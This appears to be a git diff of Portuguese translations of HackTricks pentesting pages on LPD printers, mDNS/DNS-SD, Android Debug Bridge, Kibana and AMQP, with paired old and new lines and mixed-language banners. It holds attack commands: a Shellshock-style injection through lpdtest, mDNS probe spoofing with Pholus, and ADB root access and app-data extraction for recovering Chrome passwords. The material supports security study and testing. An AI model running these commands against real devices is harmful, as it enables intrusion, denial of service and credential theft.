Na década de 1980, o **protocolo Line Printer Daemon (LPD)** foi desenvolvido no Berkeley Unix, que mais tarde foi formalizado por meio do RFC1179. Esse protocolo opera na porta 515/tcp, permitindo interações por meio do comando `lpr`. A essência da impressão via LPD envolve o envio de um **arquivo de controle** (para especificar detalhes do trabalho e do usuário) juntamente com um **arquivo de dados** (que contém as informações de impressão). Enquanto o arquivo de controle permite a seleção de **vários formatos de arquivo** para o arquivo de dados, o tratamento desses arquivos é determinado pela implementação específica do LPD. Uma implementação amplamente reconhecida para sistemas semelhantes ao Unix é o **LPRng**. Notavelmente, o protocolo LPD pode ser explorado para executar trabalhos de impressão **PostScript maliciosos** ou **PJL**.
Na década de 1980, o **protocolo Line Printer Daemon (LPD)** foi desenvolvido no Berkeley Unix, que mais tarde foi formalizado através do RFC1179. Este protocolo opera na porta 515/tcp, permitindo interações através do comando `lpr`. A essência da impressão via LPD envolve o envio de um **arquivo de controle** (para especificar detalhes do trabalho e do usuário) junto com um **arquivo de dados** (que contém as informações de impressão). Enquanto o arquivo de controle permite a seleção de **vários formatos de arquivo** para o arquivo de dados, o manuseio desses arquivos é determinado pela implementação específica do LPD. Uma implementação amplamente reconhecida para sistemas semelhantes ao Unix é o **LPRng**. Notavelmente, o protocolo LPD pode ser explorado para executar **PostScript malicioso** ou **trabalhos de impressão PJL**.
### **Ferramentas para Interagir com Impressoras LPD**
[**PRET**](https://github.com/RUB-NDS/PRET) apresenta duas ferramentas essenciais, `lpdprint` e `lpdtest`, oferecendo um método direto para interagir com impressoras compatíveis com LPD. Essas ferramentas permitem uma variedade de ações, desde imprimir dados até manipular arquivos na impressora, como baixar, fazer upload ou excluir:
[**PRET**](https://github.com/RUB-NDS/PRET) introduz duas ferramentas essenciais, `lpdprint` e `lpdtest`, oferecendo um método simples para interagir com impressoras compatíveis com LPD. Essas ferramentas permitem uma variedade de ações, desde imprimir dados até manipular arquivos na impressora, como baixar, enviar ou excluir:
```python
# To print a file to an LPD printer
lpdprint.py hostname filename
@ -33,23 +34,24 @@ lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local
```
Para indivíduos interessados em explorar mais o mundo do **hacking de impressoras**, um recurso abrangente pode ser encontrado aqui: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
Para indivíduos interessados em explorar mais o reino da **impressão hacking**, um recurso abrangente pode ser encontrado aqui: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
# Shodan
* `porta 515`
* `port 515`
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,33 +1,34 @@
# 5353/UDP Multicast DNS (mDNS) e DNS-SD
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## **Informações Básicas**
**Multicast DNS (mDNS)** permite operações **semelhantes ao DNS** em redes locais sem a necessidade de um servidor DNS tradicional. Ele opera na porta **UDP 5353** e permite que dispositivos descubram uns aos outros e seus serviços, comumente visto em vários dispositivos IoT. **Descoberta de Serviço DNS (DNS-SD)**, frequentemente usada junto com mDNS, auxilia na identificação de serviços disponíveis na rede por meio de consultas DNS padrão.
**Multicast DNS (mDNS)** permite **operações semelhantes ao DNS** dentro de redes locais sem a necessidade de um servidor DNS tradicional. Ele opera na **porta UDP 5353** e permite que dispositivos descubram uns aos outros e seus serviços, comumente visto em vários dispositivos IoT. **DNS Service Discovery (DNS-SD)**, frequentemente usado junto com mDNS, ajuda a identificar serviços disponíveis na rede através de consultas DNS padrão.
```
PORT STATE SERVICE
5353/udp open zeroconf
```
### **Operação do mDNS**
Em ambientes sem um servidor DNS padrão, o mDNS permite que dispositivos resolvam nomes de domínio terminados em **.local** consultando o endereço de multicast **224.0.0.251** (IPv4) ou **FF02::FB** (IPv6). Aspectos importantes do mDNS incluem um valor de **Tempo de Vida (TTL)** indicando a validade do registro e um **bit QU** que distingue entre consultas unicast e multicast. Em termos de segurança, é crucial que as implementações do mDNS verifiquem se o endereço de origem do pacote está alinhado com a sub-rede local.
Em ambientes sem um servidor DNS padrão, o mDNS permite que dispositivos resolvam nomes de domínio terminando em **.local** consultando o endereço multicast **224.0.0.251** (IPv4) ou **FF02::FB** (IPv6). Aspectos importantes do mDNS incluem um valor de **Time-to-Live (TTL)** que indica a validade do registro e um **bit QU** que distingue entre consultas unicast e multicast. Do ponto de vista da segurança, é crucial que as implementações de mDNS verifiquem se o endereço de origem do pacote está alinhado com a sub-rede local.
### **Funcionamento do DNS-SD**
O DNS-SD facilita a descoberta de serviços de rede consultando registros de ponteiro (PTR) que mapeiam tipos de serviço para suas instâncias. Os serviços são identificados usando um padrão **_\<Service>.\_tcp or \_\<Service>.\_udp** dentro do domínio **.local**, levando à descoberta dos registros **SRV** e **TXT** correspondentes que fornecem informações detalhadas do serviço.
O DNS-SD facilita a descoberta de serviços de rede consultando registros de ponteiro (PTR) que mapeiam tipos de serviço para suas instâncias. Os serviços são identificados usando um padrão **_\<Service>.\_tcp ou \_\<Service>.\_udp** dentro do domínio **.local**, levando à descoberta de correspondentes **SRV** e **TXT records** que fornecem informações detalhadas sobre o serviço.
### **Exploração de Rede**
@ -37,7 +38,7 @@ Um comando útil para escanear a rede local em busca de serviços mDNS é:
```bash
nmap -Pn -sUC -p5353 [target IP address]
```
Este comando ajuda a identificar portas mDNS abertas e os serviços anunciados sobre elas.
Este comando ajuda a identificar portas mDNS abertas e os serviços anunciados por elas.
#### **Enumeração de Rede com Pholus**
@ -47,20 +48,19 @@ sudo python3 pholus3.py [network interface] -rq -stimeout 10
```
## Ataques
### **Explorando a Sonda mDNS**
### **Explorando a Probing do mDNS**
Um vetor de ataque envolve o envio de respostas falsificadas para sondas mDNS, sugerindo que todos os nomes potenciais já estão em uso, dificultando assim que novos dispositivos selecionem um nome único. Isso pode ser executado usando:
Um vetor de ataque envolve o envio de respostas falsificadas para as sondas mDNS, sugerindo que todos os nomes potenciais já estão em uso, dificultando que novos dispositivos selecionem um nome único. Isso pode ser executado usando:
```bash
sudo python pholus.py [network interface] -afre -stimeout 1000
```
Esta técnica bloqueia efetivamente novos dispositivos de registrar seus serviços na rede.
**Em resumo**, entender o funcionamento do mDNS e do DNS-SD é crucial para a gestão e segurança de redes. Ferramentas como **nmap** e **Pholus** oferecem insights valiosos sobre os serviços de rede locais, enquanto a consciência de vulnerabilidades potenciais ajuda a proteger contra ataques.
Esta técnica bloqueia efetivamente novos dispositivos de registrarem seus serviços na rede.
**Em resumo**, entender o funcionamento do mDNS e DNS-SD é crucial para a gestão e segurança da rede. Ferramentas como **nmap** e **Pholus** oferecem insights valiosos sobre os serviços de rede local, enquanto a conscientização sobre vulnerabilidades potenciais ajuda a proteger contra ataques.
### Spoofing/MitM
O ataque mais interessante que você pode realizar sobre este serviço é realizar um **MitM** na **comunicação entre o cliente e o servidor real**. Você pode ser capaz de obter arquivos sensíveis (MitM na comunicação com a impressora) ou até credenciais (autenticação do Windows).\
O ataque mais interessante que você pode realizar sobre este serviço é executar um **MitM** na **comunicação entre o cliente e o servidor real**. Você pode ser capaz de obter arquivos sensíveis (MitM na comunicação com a impressora) ou até mesmo credenciais (autenticação do Windows).\
Para mais informações, consulte:
{% content-ref url="../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
@ -69,18 +69,19 @@ Para mais informações, consulte:
## Referências
* [Practical IoT Hacking: O Guia Definitivo para Atacar a Internet das Coisas](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda a hackear a AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,45 +1,46 @@
# 5555 - Android Debug Bridge
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Informações Básicas
## Basic Information
A partir [da documentação](https://developer.android.com/studio/command-line/adb):
From [the docs](https://developer.android.com/studio/command-line/adb):
**Android Debug Bridge** (adb) é uma ferramenta versátil de linha de comando que permite comunicar com um dispositivo. O comando adb facilita uma variedade de ações no dispositivo, como **instalar e depurar aplicativos**, e fornece **acesso a um shell Unix** que você pode usar para executar uma variedade de comandos em um dispositivo.
**Android Debug Bridge** (adb) é uma ferramenta de linha de comando versátil que permite comunicar-se com um dispositivo. O comando adb facilita uma variedade de ações no dispositivo, como **instalar e depurar aplicativos**, e fornece **acesso a um shell Unix** que você pode usar para executar uma variedade de comandos em um dispositivo.
**Porta padrão**: 5555.
```
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
```
## Conectar
## Connect
Se encontrar o serviço ADB em execução em uma porta de um dispositivo e conseguir se conectar a ele, **você pode obter um shell dentro do sistema:**
Se encontrar o serviço ADB em execução em uma porta de um dispositivo e você puder se conectar a ele, **você pode obter um shell dentro do sistema:**
```bash
adb connect 10.10.10.10
adb root # Try to escalate to root
adb shell
```
Para mais comandos ADB, consulte a seguinte página:
Para mais comandos ADB, verifique a seguinte página:
{% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %}
[adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md)
{% endcontent-ref %}
### Dump de dados do aplicativo
### Extrair dados do aplicativo
Para baixar completamente os dados de um aplicativo, você pode:
```bash
@ -48,22 +49,23 @@ chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package"
```
Pode usar este truque para **recuperar informações sensíveis como senhas do Chrome**. Para mais informações sobre isso, verifique as informações e referências fornecidas [**aqui**](https://github.com/carlospolop/hacktricks/issues/274).
Você pode usar esse truque para **recuperar informações sensíveis como senhas do chrome**. Para mais informações sobre isso, verifique as informações e referências fornecidas [**aqui**](https://github.com/carlospolop/hacktricks/issues/274).
## Shodan
* `android debug bridge`
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,53 +1,55 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Informações Básicas
Kibana é conhecido por sua capacidade de pesquisar e visualizar dados dentro do Elasticsearch, geralmente em execução na porta **5601**. Ele serve como a interface para as funções de monitoramento, gerenciamento e segurança do cluster Elastic Stack.
Kibana é conhecido por sua capacidade de pesquisar e visualizar dados dentro do Elasticsearch, normalmente rodando na porta **5601**. Ele serve como a interface para as funções de monitoramento, gerenciamento e segurança do cluster Elastic Stack.
## Compreendendo a Autenticação
## Entendendo a Autenticação
O processo de autenticação no Kibana está intrinsicamente ligado às **credenciais usadas no Elasticsearch**. Se o Elasticsearch tiver a autenticação desativada, o Kibana pode ser acessado sem nenhuma credencial. Por outro lado, se o Elasticsearch estiver protegido com credenciais, as mesmas credenciais são necessárias para acessar o Kibana, mantendo permissões de usuário idênticas em ambas as plataformas. As credenciais podem ser encontradas no arquivo **/etc/kibana/kibana.yml**. Se essas credenciais não se referirem ao usuário **kibana_system**, elas podem oferecer direitos de acesso mais amplos, pois o acesso do usuário kibana_system é restrito às APIs de monitoramento e ao índice .kibana.
O processo de autenticação no Kibana está intrinsecamente ligado às **credenciais usadas no Elasticsearch**. Se a autenticação do Elasticsearch estiver desativada, o Kibana pode ser acessado sem credenciais. Por outro lado, se o Elasticsearch estiver protegido com credenciais, as mesmas credenciais são necessárias para acessar o Kibana, mantendo permissões de usuário idênticas em ambas as plataformas. As credenciais podem ser encontradas no arquivo **/etc/kibana/kibana.yml**. Se essas credenciais não pertencerem ao usuário **kibana_system**, elas podem oferecer direitos de acesso mais amplos, uma vez que o acesso do usuário kibana_system é restrito a APIs de monitoramento e ao índice .kibana.
## Ações Após o Acesso
Uma vez que o acesso ao Kibana é garantido, várias ações são aconselháveis:
Uma vez que o acesso ao Kibana esteja garantido, várias ações são aconselháveis:
- Explorar dados do Elasticsearch deve ser uma prioridade.
- A capacidade de gerenciar usuários, incluindo a edição, exclusão ou criação de novos usuários, funções ou chaves de API, é encontrada em Gerenciamento de Pilha -> Usuários/Funções/Chaves de API.
- É importante verificar a versão instalada do Kibana em busca de vulnerabilidades conhecidas, como a vulnerabilidade de RCE identificada em versões anteriores a 6.6.0 ([Mais Informações](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)).
- A capacidade de gerenciar usuários, incluindo edição, exclusão ou criação de novos usuários, funções ou chaves de API, pode ser encontrada em Gerenciamento de Stack -> Usuários/Funções/Chaves de API.
- É importante verificar a versão instalada do Kibana em busca de vulnerabilidades conhecidas, como a vulnerabilidade RCE identificada em versões anteriores a 6.6.0 ([Mais Informações](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)).
## Considerações sobre SSL/TLS
Nos casos em que o SSL/TLS não está habilitado, o potencial de vazamento de informações sensíveis deve ser avaliado minuciosamente.
Em casos onde SSL/TLS não está habilitado, o potencial para vazar informações sensíveis deve ser avaliado minuciosamente.
## Referências
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,25 +1,26 @@
# 5671,5672 - Pentesting AMQP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Informações Básicas
## Basic Information
